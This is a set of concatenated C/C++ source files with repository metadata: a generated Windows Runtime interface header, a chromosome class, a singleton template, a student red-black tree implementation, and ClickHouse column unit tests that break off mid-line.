> interface */ #ifndef ____FIVectorView_1_HSTRING_INTERFACE_DEFINED__ #define ____FIVectorView_1_HSTRING_INTERFACE_DEFINED__ DEFINE_GUID(IID___FIVectorView_1_HSTRING, 0xfca5679c, 0xbfd4, 0x5187, 0x8b,0x2d, 0xde,0x22,0x50,0x49,0xb3,0x46); #if defined(__cplusplus) && !defined(CINTERFACE) } /* extern "C" */ namespace ABI { namespace Windows { namespace Foundation { namespace Collections { template<> MIDL_INTERFACE("fca5679c-bfd4-5187-8b2d-de225049b346") IVectorView<HSTRING > : IVectorView_impl<HSTRING > { }; } } } } extern "C" { #ifdef __CRT_UUID_DECL __CRT_UUID_DECL(__FIVectorView_1_HSTRING, 0xfca5679c, 0xbfd4, 0x5187, 0x8b,0x2d, 0xde,0x22,0x50,0x49,0xb3,0x46) #endif #else typedef struct __FIVectorView_1_HSTRINGVtbl { BEGIN_INTERFACE /*** IUnknown methods ***/ HRESULT (STDMETHODCALLTYPE *QueryInterface)( __FIVectorView_1_HSTRING *This, REFIID riid, void **ppvObject); ULONG (STDMETHODCALLTYPE *AddRef)( __FIVectorView_1_HSTRING *This); ULONG (STDMETHODCALLTYPE *Release)( __FIVectorView_1_HSTRING *This); /*** IInspectable methods ***/ HRESULT (STDMETHODCALLTYPE *GetIids)( __FIVectorView_1_HSTRING *This, ULONG *iidCount, IID **iids); HRESULT (STDMETHODCALLTYPE *GetRuntimeClassName)( __FIVectorView_1_HSTRING *This, HSTRING *className); HRESULT (STDMETHODCALLTYPE *GetTrustLevel)( __FIVectorView_1_HSTRING *This, TrustLevel *trustLevel); /*** IVectorView<HSTRING > methods ***/ HRESULT (STDMETHODCALLTYPE *GetAt)( __FIVectorView_1_HSTRING *This, UINT32 index, HSTRING *value); HRESULT (STDMETHODCALLTYPE *get_Size)( __FIVectorView_1_HSTRING *This, UINT32 *value); HRESULT (STDMETHODCALLTYPE *IndexOf)( __FIVectorView_1_HSTRING *This, HSTRING element, UINT32 *index, BOOLEAN *value); HRESULT (STDMETHODCALLTYPE *GetMany)( __FIVectorView_1_HSTRING *This, UINT32 start_index, UINT32 items_size, HSTRING *items, UINT32 *value); END_INTERFACE } __FIVectorView_1_HSTRINGVtbl; interface __FIVectorView_1_HSTRING { CONST_VTBL __FIVectorView_1_HSTRINGVtbl* lpVtbl; }; #ifdef COBJMACROS #ifndef WIDL_C_INLINE_WRAPPERS /*** IUnknown methods ***/ #define __FIVectorView_1_HSTRING_QueryInterface(This,riid,ppvObject) (This)->lpVtbl->QueryInterface(This,riid,ppvObject) #define __FIVectorView_1_HSTRING_AddRef(This) (This)->lpVtbl->AddRef(This) #define __FIVectorView_1_HSTRING_Release(This) (This)->lpVtbl->Release(This) /*** IInspectable methods ***/ #define __FIVectorView_1_HSTRING_GetIids(This,iidCount,iids) (This)->lpVtbl->GetIids(This,iidCount,iids) #define __FIVectorView_1_HSTRING_GetRuntimeClassName(This,className) (This)->lpVtbl->GetRuntimeClassName(This,className) #define __FIVectorView_1_HSTRING_GetTrustLevel(This,trustLevel) (This)->lpVtbl->GetTrustLevel(This,trustLevel) /*** IVectorView<HSTRING > methods ***/ #define __FIVectorView_1_HSTRING_GetAt(This,index,value) (This)->lpVtbl->GetAt(This,index,value) #define __FIVectorView_1_HSTRING_get_Size(This,value) (This)->lpVtbl->get_Size(This,value) #define __FIVectorView_1_HSTRING_IndexOf(This,element,index,value) (This)->lpVtbl->IndexOf(This,element,index,value) #define __FIVectorView_1_HSTRING_GetMany(This,start_index,items_size,items,value) (This)->lpVtbl->GetMany(This,start_index,items_size,items,value) #else /*** IUnknown methods ***/ static FORCEINLINE HRESULT __FIVectorView_1_HSTRING_QueryInterface(__FIVectorView_1_HSTRING* This,REFIID riid,void **ppvObject) { return This->lpVtbl->QueryInterface(This,riid,ppvObject); } static FORCEINLINE ULONG __FIVectorView_1_HSTRING_AddRef(__FIVectorView_1_HSTRING* This) { return This->lpVtbl->AddRef(This); } static FORCEINLINE ULONG __FIVectorView_1_HSTRING_Release(__FIVectorView_1_HSTRING* This) { return This->lpVtbl->Release(This); } /*** IInspectable methods ***/ static FORCEINLINE HRESULT __FIVectorView_1_HSTRING_GetIids(__FIVectorView_1_HSTRING* This,ULONG *iidCount,IID **iids) { return This->lpVtbl->GetIids(This,iidCount,iids); } static FORCEINLINE HRESULT __FIVectorView_1_HSTRING_GetRuntimeClassName(__FIVectorView_1_HSTRING* This,HSTRING *className) { return This->lpVtbl->GetRuntimeClassName(This,className); } static FORCEINLINE HRESULT __FIVectorView_1_HSTRING_GetTrustLevel(__FIVectorView_1_HSTRING* This,TrustLevel *trustLevel) { return This->lpVtbl->GetTrustLevel(This,trustLevel); } /*** IVectorView<HSTRING > methods ***/ static FORCEINLINE HRESULT __FIVectorView_1_HSTRING_GetAt(__FIVectorView_1_HSTRING* This,UINT32 index,HSTRING *value) { return This->lpVtbl->GetAt(This,index,value); } static FORCEINLINE HRESULT __FIVectorView_1_HSTRING_get_Size(__FIVectorView_1_HSTRING* This,UINT32 *value) { return This->lpVtbl->get_Size(This,value); } static FORCEINLINE HRESULT __FIVectorView_1_HSTRING_IndexOf(__FIVectorView_1_HSTRING* This,HSTRING element,UINT32 *index,BOOLEAN *value) { return This->lpVtbl->IndexOf(This,element,index,value); } static FORCEINLINE HRESULT __FIVectorView_1_HSTRING_GetMany(__FIVectorView_1_HSTRING* This,UINT32 start_index,UINT32 items_size,HSTRING *items,UINT32 *value) { return This->lpVtbl->GetMany(This,start_index,items_size,items,value); } #endif #ifdef WIDL_using_Windows_Foundation_Collections #define IID_IVectorView_HSTRING IID___FIVectorView_1_HSTRING #define IVectorView_HSTRINGVtbl __FIVectorView_1_HSTRINGVtbl #define IVectorView_HSTRING __FIVectorView_1_HSTRING #define IVectorView_HSTRING_QueryInterface __FIVectorView_1_HSTRING_QueryInterface #define IVectorView_HSTRING_AddRef __FIVectorView_1_HSTRING_AddRef #define IVectorView_HSTRING_Release __FIVectorView_1_HSTRING_Release #define IVectorView_HSTRING_GetIids __FIVectorView_1_HSTRING_GetIids #define IVectorView_HSTRING_GetRuntimeClassName __FIVectorView_1_HSTRING_GetRuntimeClassName #define IVectorView_HSTRING_GetTrustLevel __FIVectorView_1_HSTRING_GetTrustLevel #define IVectorView_HSTRING_GetAt __FIVectorView_1_HSTRING_GetAt #define IVectorView_HSTRING_get_Size __FIVectorView_1_HSTRING_get_Size #define IVectorView_HSTRING_IndexOf __FIVectorView_1_HSTRING_IndexOf #define IVectorView_HSTRING_GetMany __FIVectorView_1_HSTRING_GetMany #endif /* WIDL_using_Windows_Foundation_Collections */ #endif #endif #endif /* ____FIVectorView_1_HSTRING_INTERFACE_DEFINED__ */ /* Begin additional prototypes for all interfaces */ ULONG __RPC_USER HSTRING_UserSize (ULONG *, ULONG, HSTRING *); unsigned char * __RPC_USER HSTRING_UserMarshal (ULONG *, unsigned char *, HSTRING *); unsigned char * __RPC_USER HSTRING_UserUnmarshal(ULONG *, unsigned char *, HSTRING *); void __RPC_USER HSTRING_UserFree (ULONG *, HSTRING *); /* End additional prototypes */ #ifdef __cplusplus } #endif #endif /* __windows_foundation_h__ */
5bbd49164bc12a762c174b29501a3fe9bc955ffb
1720b3d68408df391112fd6f23d450153d2064f0
/assignment2/src/chromosome.h
a0c6efc53f0850660d1d00477fb1b52da4c6dafe
[]
no_license
jp41011/BioInformatics
48ff1a2383670a0eef7f3e0ec28bc0edd461c1ec
7060ec2d9782499c8abab87e5d90d889bd83d559
refs/heads/master
2021-08-23T01:54:18.740443
2017-12-02T08:59:49
2017-12-02T08:59:49
112,820,565
0
0
null
null
null
null
UTF-8
C++
false
false
1,379
h
chromosome.h
#ifndef CHROMOSOME_H #define CHROMOSOME_H #include <vector> #include <string> using namespace std; /* Chromosome class * Represents a chromosome and the information associated with the chromosome * All bases are stored in a vector of strings * chromosome information is access via accessor functions * This will typically be used after reading in the chromosome bases from a file */ class chromosome{ private: vector<string> baseLines; //each string in the vector is a string of bases unsigned long int lineCount; // how many strings in the vector unsigned long int baseCount; // how many total characters whole vector public: // default constructor setting default values to the variables chromosome();//constructor ~chromosome(); // deconstructor void addLine(string&); // add new line of bases to this chromosome // request particular base (nucleotide) given an index char getIndex(unsigned long int &); // request a sequence of bases given starting and ending index // using calls to the getIndex(...) function string getSeq(unsigned long int &, unsigned long int &); string getLine(unsigned long int&); // get a particular line (string of bases) unsigned long int getLineCount(); // how many lines of nucleotides do we have unsigned long int getBaseCount(); // how many total nucleotides bases do we have }; //#include "chromosome.cpp" #endif
afe95962e22bc7266180e7b6b48522d14bec8975
1bd8c9cb823b16cca877c166f7c3586f729457a5
/CSingleton.h
543c8d762b33e51a1b4fec08e32e74e34b6d4da4
[]
no_license
godekd3133/DX9_WorldSkill_Practice_Busan_01
432d24b5fdbe73a451603910c35e29c903014119
9f2800a6608e7c930c0e036816c154c703ca0fa4
refs/heads/master
2022-12-14T17:53:21.830561
2020-09-19T01:59:55
2020-09-19T01:59:55
291,572,844
1
0
null
null
null
null
UTF-8
C++
false
false
315
h
CSingleton.h
#pragma once template <class T> class CSingleton { public: CSingleton() {} virtual ~CSingleton() {} private: static T* p; public: static T * GetInstance() { if (!p) p = new T(); return p; } static void ReleaseInstance() { if (p) delete p; } }; template <typename T> T* CSingleton<T>::p = nullptr;
5e5890e2aaecbf74535f31cdb259b6e2d5c450c5
e5104a3299a2fc76f642b2ca403fece376bd04ed
/ASD/Lista4/RBT.cpp
8f429eb36e0f9037d531f27a40880b3fc6b74360
[]
no_license
mikduk/Studia
158e7ca06cf42f7cf22291dcd6e92f2490509675
b6b25a0b6d17e68ba01436aed90a0554bd48083e
refs/heads/master
2020-04-04T14:55:42.114893
2019-12-20T16:10:48
2019-12-20T16:10:48
156,018,633
0
0
null
null
null
null
UTF-8
C++
false
false
9,343
cpp
RBT.cpp
// // RBT.cpp // Lista 4 // // Created by Mikis Dukiel on 16/05/2019. // Copyright © 2019 Mikis Dukiel. All rights reserved. // #include "Trees.h" #include <iostream> RBT::RBT(){ Trees::numberOfElements = 0; Trees::maxNumberOfElements = 0; Trees::numberOfInsert = 0; Trees::numberOfDel = 0; Trees::numberOfSearch = 0; Trees::numberOfLoad = 0; Trees::numberOfInOrder = 0; Trees::numberOfComparison = 0; Trees::numberOfChangesOfElements = 0; root = NULL; } void RBT::leftRotate(Element * x){ Element * y = (Element*)malloc(sizeof *y); y = x -> right; x -> right = y -> left; numberOfChangesOfElements++; numberOfComparison++; if (y -> left != NULL){ (y -> left) -> parent = x; numberOfChangesOfElements++; } y -> parent = x -> parent; numberOfComparison++; if (x -> parent == NULL) root = y; else if (x == (x -> parent) -> left) (x -> parent) -> left = y; else (x -> parent) -> right = y; y -> left = x; x -> parent = y; numberOfChangesOfElements++; } void RBT::rightRotate(Element * x){ Element * y = (Element*)malloc(sizeof *y); y = x -> left; x -> left = y -> right; numberOfChangesOfElements++; numberOfComparison++; if (y -> right != NULL){ (y -> right) -> parent = x; numberOfChangesOfElements++; } y -> parent = x -> parent; numberOfComparison++; if (x -> parent == NULL) root = y; else if (x == (x -> parent) -> left) (x -> parent) -> left = y; else (x -> parent) -> right = y; y -> right = x; x -> parent = y; numberOfChangesOfElements++; } void RBT::insert(std::string s){ if (s.length() == 0){ std::cout << "[s is incorrect]\n"; return; } numberOfInsert++; if (numberOfElements == 0){ root = (Element*)malloc(sizeof *root); root -> key = s; root -> left = NULL; root -> right = NULL; root -> parent = NULL; root -> color = black; } else{ Element * y = (Element*)malloc(sizeof *y); y = NULL; Element * x = (Element*)malloc(sizeof *x); x = root; while (x != NULL){ y = x; numberOfComparison++; if (s < (x -> key)) x = (x -> left); else x = (x -> right); } Element * p = (Element*)malloc(sizeof *p); p = y; Element * node; node = (Element*)malloc(sizeof *node); node -> key = s; node -> parent = p; numberOfComparison++; if (y == NULL) root = node; else if (node -> key < p -> key) (p -> left) = node; else (p -> right) = node; node -> left = NULL; node -> right = NULL; node -> color = red; insertFixup(node); } numberOfElements++; if (numberOfElements > maxNumberOfElements) maxNumberOfElements = numberOfElements; } void RBT::insertFixup(Element * node){ Element * y = (Element*)malloc(sizeof *y); while(node -> parent != NULL && (node -> parent) -> color == red){ numberOfComparison++; if ((node -> parent) -> parent != NULL && node -> parent == ((node -> parent) -> parent) -> left){ y = ((node -> parent) -> parent) -> right; // case 1 if (y != NULL && y -> color == red){ (node -> parent) -> color = black; y -> color = black; ((node -> parent) -> parent) -> color = red; node = (node -> parent) -> parent; } else{ numberOfComparison++; // case 2 if (node == (node -> parent) -> right){ node = node -> parent; leftRotate(node); } // case 3 (node -> parent) -> color = black; ((node -> parent) -> parent) -> color = red; rightRotate((node -> parent) -> parent); } } else{ if ((node -> parent) -> parent != NULL) y = ((node -> parent) -> parent) -> left; // case 4 if (y != NULL && y -> color == red){ (node -> parent) -> color = black; y -> color = black; ((node -> parent) -> parent) -> color = red; node = (node -> parent) -> parent; } else{ numberOfComparison++; // case 5 if (node == (node -> parent) -> left){ node = node -> parent; rightRotate(node); } // case 6 (node -> parent) -> color = black; numberOfComparison++; if ((node -> parent) -> parent != NULL){ ((node -> parent) -> parent) -> color = red; leftRotate((node -> parent) -> parent); } } } } root -> color = black; } void RBT::inorderTreeWalk(Element * x){ numberOfComparison++; if (x != NULL){ inorderTreeWalk(x -> left); std::cout << x -> key << " "; inorderTreeWalk(x -> right); } } Element * RBT::minimum(Element * x){ while (x -> left != NULL){ x = x -> left; numberOfComparison++; } numberOfComparison++; return x; } Element * RBT::maximum(Element * x){ while (x -> right != NULL){ x = x -> right; numberOfComparison++; } numberOfComparison++; return x; } bool RBT::find(std::string s){ if (numberOfElements == 0) return false; else if (root -> key == s){ numberOfComparison++; return true; } else{ Element * x = root; while (x != NULL){ numberOfComparison++; if (x -> key == s) return true; else if (x -> key > s) x = (x -> left); else x = (x -> right); } numberOfComparison++; } return false; } Element * RBT::getElement(std::string s){ if (numberOfElements == 0) return NULL; else if (root -> key == s){ numberOfComparison++; return root; } else{ Element * x = root; while (x != NULL){ numberOfComparison++; if (x -> key == s) return x; else if (x -> key > s) x = (x -> left); else x = (x -> right); } numberOfComparison++; } return NULL; } void RBT::transplant(Element * u, Element * v){ numberOfComparison++; numberOfChangesOfElements++; if (u -> parent == NULL) root = v; else if (u == (u -> parent) -> left) (u -> parent) -> left = v; else (u -> parent) -> right = v; numberOfComparison++; if (v != NULL){ v -> parent = u -> parent; numberOfChangesOfElements++; } } void RBT::del(std::string s){ numberOfDel++; Element *x, *y, *z; colour yOriginalColor; if (find(s)){ z = getElement(s); y = z; yOriginalColor = y -> color; numberOfComparison++; if (z -> left == NULL){ x = z -> right; transplant(z, z -> right); } else if (z -> right == NULL){ x = z -> left; transplant(z, z -> left); } else{ y = minimum(z -> right); yOriginalColor = y -> color; x = y -> right; numberOfComparison++; if (y -> parent == z){ if (x != NULL) x -> parent = y;} else{ transplant(y, y -> right); y -> right = z -> right; (y -> right) -> parent = y; } transplant(z, y); y -> left = z -> left; (y -> left) -> parent = y; y -> color = z -> color; } if (yOriginalColor == black) deleteFixup(x); numberOfElements--; } } void RBT::deleteFixup(Element * x){ Element * w; while (x != NULL && x -> color == black && x != root){ numberOfComparison++; if (x == (x -> parent) -> left){ w = (x -> parent) -> right; // case 1 if (w != NULL && w -> color == red){ w -> color = black; (x -> parent) -> color = red; leftRotate(x -> parent); w = (x -> parent) -> right; } // case 2 if ((w -> left == NULL || (w -> left) -> color == black) && (w -> right == NULL || (w -> right) -> color == black)){ w -> color = red; x = x -> parent; } else{ // case 3 if (w -> right == NULL || (w -> right) -> color == black){ (w -> left) -> color = black; w -> color = black; rightRotate(w); w = (x -> parent) -> right; } // case 4 w -> color = (x -> parent) -> color; (x -> parent) -> color = black; (w -> right) -> color = black; leftRotate(x -> parent); x = root; } } else{ w = (x -> parent) -> left; // case 5 if (w != NULL && w -> color == red){ w -> color = black; (x -> parent) -> color = red; leftRotate(x -> parent); if (x -> parent != NULL) w = (x -> parent) -> left; } // case 6 if ((w -> left == NULL || (w -> left) -> color == black) && (w -> right == NULL || (w -> right) -> color == black)){ w -> color = red; x = x -> parent; } else{ // case 7 if (w -> left == NULL || (w -> left) -> color == black){ (w -> right) -> color = black; w -> color = black; leftRotate(w); w = (x -> parent) -> left; } // case 8 w -> color = (x -> parent) -> color; (x -> parent) -> color = black; (w -> left) -> color = black; rightRotate(x -> parent); x = root; } } } } void RBT::search(std::string s){ numberOfSearch++; std::cout << find(s) << "\n"; } void RBT::inorder(){ numberOfInOrder++; if (root != NULL) inorderTreeWalk(root); std::cout<<"\n"; }
6fd1e13cb668be0be6480c5aada320dd372a7ced
3dc2dd1a397e1dbbe7f045643ff00cbcec3c54aa
/ut/columns_ut.cpp
0229ba669611f80c9582ff8056ab9f3873dc343c
[ "Apache-2.0" ]
permissive
rjxxr/clickhouse-cpp
67be8df1fdb327a46ae69e6659676502c76806a8
7f9d8989eee8ebd7b1784375127733151e1b8710
refs/heads/master
2023-08-24T20:50:02.866114
2021-10-13T13:04:17
2021-10-13T13:04:17
null
0
0
null
null
null
null
UTF-8
C++
false
false
24,549
cpp
columns_ut.cpp
#include <clickhouse/columns/array.h> #include <clickhouse/columns/date.h> #include <clickhouse/columns/enum.h> #include <clickhouse/columns/factory.h> #include <clickhouse/columns/lowcardinality.h> #include <clickhouse/columns/nullable.h> #include <clickhouse/columns/numeric.h> #include <clickhouse/columns/string.h> #include <clickhouse/columns/uuid.h> #include <contrib/gtest/gtest.h> #include "utils.h" #include <string_view> namespace { using namespace clickhouse; using namespace std::literals::string_view_literals; static std::vector<uint32_t> MakeNumbers() { return std::vector<uint32_t> {1, 2, 3, 7, 11, 13, 17, 19, 23, 29, 31}; } static std::vector<uint8_t> MakeBools() { return std::vector<uint8_t> {1, 0, 0, 0, 1, 1, 0, 1, 1, 1, 0}; } static std::vector<std::string> MakeFixedStrings() { return std::vector<std::string> {"aaa", "bbb", "ccc", "ddd"}; } static std::vector<std::string> MakeStrings() { return std::vector<std::string> {"a", "ab", "abc", "abcd"}; } static std::vector<uint64_t> MakeUUIDs() { return std::vector<uint64_t> {0xbb6a8c699ab2414cllu, 0x86697b7fd27f0825llu, 0x84b9f24bc26b49c6llu, 0xa03b4ab723341951llu, 0x3507213c178649f9llu, 0x9faf035d662f60aellu}; } static const auto LOWCARDINALITY_STRING_FOOBAR_10_ITEMS_BINARY = "\x01\x00\x00\x00\x00\x00\x00\x00\x00\x06\x00\x00\x00\x00\x00\x00" "\x09\x00\x00\x00\x00\x00\x00\x00\x00\x06\x46\x6f\x6f\x42\x61\x72" "\x01\x31\x01\x32\x03\x46\x6f\x6f\x01\x34\x03\x42\x61\x72\x01\x37" "\x01\x38\x0a\x00\x00\x00\x00\x00\x00\x00\x01\x02\x03\x04\x05\x06" "\x04\x07\x08\x04"sv; template <typename Generator> auto GenerateVector(size_t items, Generator && gen) { std::vector<std::result_of_t<Generator(size_t)>> result; result.reserve(items); for (size_t i = 0; i < items; ++i) { result.push_back(std::move(gen(i))); } return result; } std::string FooBarSeq(size_t i) { std::string result; if (i % 3 == 0) result += "Foo"; if (i % 5 == 0) result += "Bar"; if (result.empty()) result = std::to_string(i); return result; } template <typename T, typename U = T> auto SameValueSeq(const U & value) { return [&value](size_t) -> T { return value; }; } template <typename ResultType, typename Generator1, typename Generator2> auto AlternateGenerators(Generator1 && gen1, Generator2 && gen2) { return [&gen1, &gen2](size_t i) -> ResultType { if (i % 2 == 0) return gen1(i/2); else return gen2(i/2); }; } template <typename T> std::vector<T> ConcatSequences(std::vector<T> && vec1, std::vector<T> && vec2) { std::vector<T> result(vec1); result.reserve(vec1.size() + vec2.size()); result.insert(result.end(), vec2.begin(), vec2.end()); return result; } static std::vector<Int64> MakeDateTime64s() { static const auto seconds_multiplier = 1'000'000; static const auto year = 86400ull * 365 * seconds_multiplier; // ~approx, but this doesn't matter here. // Approximatelly +/- 200 years around epoch (and value of epoch itself) // with non zero seconds and sub-seconds. // Please note there are values outside of DateTime (32-bit) range that might // not have correct string representation in CH yet, // but still are supported as Int64 values. return GenerateVector(200, [] (size_t i )-> Int64 { return (i - 100) * year * 2 + (i * 10) * seconds_multiplier + i; }); } } // TODO: add tests for ColumnDecimal. TEST(ColumnsCase, NumericInit) { auto col = std::make_shared<ColumnUInt32>(MakeNumbers()); ASSERT_EQ(col->Size(), 11u); ASSERT_EQ(col->At(3), 7u); ASSERT_EQ(col->At(10), 31u); auto sun = std::make_shared<ColumnUInt32>(MakeNumbers()); } TEST(ColumnsCase, NumericSlice) { auto col = std::make_shared<ColumnUInt32>(MakeNumbers()); auto sub = col->Slice(3, 3)->As<ColumnUInt32>(); ASSERT_EQ(sub->Size(), 3u); ASSERT_EQ(sub->At(0), 7u); ASSERT_EQ(sub->At(2), 13u); } TEST(ColumnsCase, FixedStringInit) { const auto column_data = MakeFixedStrings(); auto col = std::make_shared<ColumnFixedString>(3, column_data); ASSERT_EQ(col->Size(), column_data.size()); size_t i = 0; for (const auto& s : column_data) { EXPECT_EQ(s, col->At(i)); ++i; } } TEST(ColumnsCase, FixedString_Append_SmallStrings) { // Ensure that strings smaller than FixedString's size // are padded with zeroes on insertion. const size_t string_size = 7; const auto column_data = MakeFixedStrings(); auto col = std::make_shared<ColumnFixedString>(string_size); size_t i = 0; for (const auto& s : column_data) { col->Append(s); EXPECT_EQ(string_size, col->At(i).size()); std::string expected = column_data[i]; expected.resize(string_size, char(0)); EXPECT_EQ(expected, col->At(i)); ++i; } ASSERT_EQ(col->Size(), i); } TEST(ColumnsCase, FixedString_Append_LargeString) { // Ensure that inserting strings larger than FixedString size thorws exception. const auto col = std::make_shared<ColumnFixedString>(1); EXPECT_ANY_THROW(col->Append("2c")); EXPECT_ANY_THROW(col->Append("this is a long string")); } TEST(ColumnsCase, StringInit) { auto col = std::make_shared<ColumnString>(MakeStrings()); ASSERT_EQ(col->Size(), 4u); ASSERT_EQ(col->At(1), "ab"); ASSERT_EQ(col->At(3), "abcd"); } TEST(ColumnsCase, ArrayAppend) { auto arr1 = std::make_shared<ColumnArray>(std::make_shared<ColumnUInt64>()); auto arr2 = std::make_shared<ColumnArray>(std::make_shared<ColumnUInt64>()); auto id = std::make_shared<ColumnUInt64>(); id->Append(1); arr1->AppendAsColumn(id); id->Append(3); arr2->AppendAsColumn(id); arr1->Append(arr2); auto col = arr1->GetAsColumn(1); ASSERT_EQ(arr1->Size(), 2u); //ASSERT_EQ(col->As<ColumnUInt64>()->At(0), 1u); //ASSERT_EQ(col->As<ColumnUInt64>()->At(1), 3u); } TEST(ColumnsCase, DateAppend) { auto col1 = std::make_shared<ColumnDate>(); auto col2 = std::make_shared<ColumnDate>(); auto now = std::time(nullptr); col1->Append(now); col2->Append(col1); ASSERT_EQ(col2->Size(), 1u); ASSERT_EQ(col2->At(0), (now / 86400) * 86400); } TEST(ColumnsCase, DateTime64_0) { auto column = std::make_shared<ColumnDateTime64>(0ul); ASSERT_EQ(Type::DateTime64, column->Type()->GetCode()); ASSERT_EQ("DateTime64(0)", column->Type()->GetName()); ASSERT_EQ(0u, column->GetPrecision()); ASSERT_EQ(0u, column->Size()); } TEST(ColumnsCase, DateTime64_6) { auto column = std::make_shared<ColumnDateTime64>(6ul); ASSERT_EQ(Type::DateTime64, column->Type()->GetCode()); ASSERT_EQ("DateTime64(6)", column->Type()->GetName()); ASSERT_EQ(6u, column->GetPrecision()); ASSERT_EQ(0u, column->Size()); } TEST(ColumnsCase, DateTime64_Append_At) { auto column = std::make_shared<ColumnDateTime64>(6ul); const auto data = MakeDateTime64s(); for (const auto & v : data) { column->Append(v); } ASSERT_EQ(data.size(), column->Size()); for (size_t i = 0; i < data.size(); ++i) { ASSERT_EQ(data[i], column->At(i)); } } TEST(ColumnsCase, DateTime64_Clear) { auto column = std::make_shared<ColumnDateTime64>(6ul); // Clearing empty column doesn't crash and produces expected result ASSERT_NO_THROW(column->Clear()); ASSERT_EQ(0u, column->Size()); const auto data = MakeDateTime64s(); for (const auto & v : data) { column->Append(v); } ASSERT_NO_THROW(column->Clear()); ASSERT_EQ(0u, column->Size()); } TEST(ColumnsCase, DateTime64_Swap) { auto column = std::make_shared<ColumnDateTime64>(6ul); const auto data = MakeDateTime64s(); for (const auto & v : data) { column->Append(v); } auto column2 = std::make_shared<ColumnDateTime64>(6ul); const auto single_dt64_value = 1'234'567'890'123'456'789ll; column2->Append(single_dt64_value); column->Swap(*column2); // Validate that all items were transferred to column2. ASSERT_EQ(1u, column->Size()); EXPECT_EQ(single_dt64_value, column->At(0)); ASSERT_EQ(data.size(), column2->Size()); for (size_t i = 0; i < data.size(); ++i) { ASSERT_EQ(data[i], column2->At(i)); } } TEST(ColumnsCase, DateTime64_Slice) { auto column = std::make_shared<ColumnDateTime64>(6ul); { // Empty slice on empty column auto slice = column->Slice(0, 0)->As<ColumnDateTime64>(); ASSERT_EQ(0u, slice->Size()); ASSERT_EQ(column->GetPrecision(), slice->GetPrecision()); } const auto data = MakeDateTime64s(); const size_t size = data.size(); ASSERT_GT(size, 4u); // so the partial slice below has half of the elements of the column for (const auto & v : data) { column->Append(v); } { // Empty slice on non-empty column auto slice = column->Slice(0, 0)->As<ColumnDateTime64>(); ASSERT_EQ(0u, slice->Size()); ASSERT_EQ(column->GetPrecision(), slice->GetPrecision()); } { // Full-slice on non-empty column auto slice = column->Slice(0, size)->As<ColumnDateTime64>(); ASSERT_EQ(column->Size(), slice->Size()); ASSERT_EQ(column->GetPrecision(), slice->GetPrecision()); for (size_t i = 0; i < data.size(); ++i) { ASSERT_EQ(data[i], slice->At(i)); } } { const size_t offset = size / 4; const size_t count = size / 2; // Partial slice on non-empty column auto slice = column->Slice(offset, count)->As<ColumnDateTime64>(); ASSERT_EQ(count, slice->Size()); ASSERT_EQ(column->GetPrecision(), slice->GetPrecision()); for (size_t i = offset; i < offset + count; ++i) { ASSERT_EQ(data[i], slice->At(i - offset)); } } } TEST(ColumnsCase, DateTime64_Slice_OUTOFBAND) { // Slice() shouldn't throw exceptions on invalid parameters, just clamp values to the nearest bounds. auto column = std::make_shared<ColumnDateTime64>(6ul); // Non-Empty slice on empty column EXPECT_EQ(0u, column->Slice(0, 10)->Size()); const auto data = MakeDateTime64s(); for (const auto & v : data) { column->Append(v); } EXPECT_EQ(column->Slice(0, data.size() + 1)->Size(), data.size()); EXPECT_EQ(column->Slice(data.size() + 1, 1)->Size(), 0u); EXPECT_EQ(column->Slice(data.size() / 2, data.size() / 2 + 2)->Size(), data.size() - data.size() / 2); } TEST(ColumnsCase, DateTime64_Swap_EXCEPTION) { auto column1 = std::make_shared<ColumnDateTime64>(6ul); auto column2 = std::make_shared<ColumnDateTime64>(0ul); EXPECT_ANY_THROW(column1->Swap(*column2)); } TEST(ColumnsCase, Date2038) { auto col1 = std::make_shared<ColumnDate>(); std::time_t largeDate(25882ul * 86400ul); col1->Append(largeDate); ASSERT_EQ(col1->Size(), 1u); ASSERT_EQ(static_cast<std::uint64_t>(col1->At(0)), 25882ul * 86400ul); } TEST(ColumnsCase, DateTime) { ASSERT_NE(nullptr, CreateColumnByType("DateTime")); ASSERT_NE(nullptr, CreateColumnByType("DateTime('Europe/Moscow')")); ASSERT_EQ(CreateColumnByType("DateTime('UTC')")->As<ColumnDateTime>()->Timezone(), "UTC"); ASSERT_EQ(CreateColumnByType("DateTime64(3, 'UTC')")->As<ColumnDateTime64>()->Timezone(), "UTC"); } TEST(ColumnsCase, EnumTest) { std::vector<Type::EnumItem> enum_items = {{"Hi", 1}, {"Hello", 2}}; auto col = std::make_shared<ColumnEnum8>(Type::CreateEnum8(enum_items)); ASSERT_TRUE(col->Type()->IsEqual(Type::CreateEnum8(enum_items))); col->Append(1); ASSERT_EQ(col->Size(), 1u); ASSERT_EQ(col->At(0), 1); ASSERT_EQ(col->NameAt(0), "Hi"); col->Append("Hello"); ASSERT_EQ(col->Size(), 2u); ASSERT_EQ(col->At(1), 2); ASSERT_EQ(col->NameAt(1), "Hello"); auto col16 = std::make_shared<ColumnEnum16>(Type::CreateEnum16(enum_items)); ASSERT_TRUE(col16->Type()->IsEqual(Type::CreateEnum16(enum_items))); ASSERT_TRUE(CreateColumnByType("Enum8('Hi' = 1, 'Hello' = 2)")->Type()->IsEqual(Type::CreateEnum8(enum_items))); } TEST(ColumnsCase, NullableSlice) { auto data = std::make_shared<ColumnUInt32>(MakeNumbers()); auto nulls = std::make_shared<ColumnUInt8>(MakeBools()); auto col = std::make_shared<ColumnNullable>(data, nulls); auto sub = col->Slice(3, 4)->As<ColumnNullable>(); auto subData = sub->Nested()->As<ColumnUInt32>(); ASSERT_EQ(sub->Size(), 4u); ASSERT_FALSE(sub->IsNull(0)); ASSERT_EQ(subData->At(0), 7u); ASSERT_TRUE(sub->IsNull(1)); ASSERT_FALSE(sub->IsNull(3)); ASSERT_EQ(subData->At(3), 17u); } TEST(ColumnsCase, UUIDInit) { auto col = std::make_shared<ColumnUUID>(std::make_shared<ColumnUInt64>(MakeUUIDs())); ASSERT_EQ(col->Size(), 3u); ASSERT_EQ(col->At(0), UInt128(0xbb6a8c699ab2414cllu, 0x86697b7fd27f0825llu)); ASSERT_EQ(col->At(2), UInt128(0x3507213c178649f9llu, 0x9faf035d662f60aellu)); } TEST(ColumnsCase, UUIDSlice) { auto col = std::make_shared<ColumnUUID>(std::make_shared<ColumnUInt64>(MakeUUIDs())); auto sub = col->Slice(1, 2)->As<ColumnUUID>(); ASSERT_EQ(sub->Size(), 2u); ASSERT_EQ(sub->At(0), UInt128(0x84b9f24bc26b49c6llu, 0xa03b4ab723341951llu)); ASSERT_EQ(sub->At(1), UInt128(0x3507213c178649f9llu, 0x9faf035d662f60aellu)); } TEST(ColumnsCase, Int128) { auto 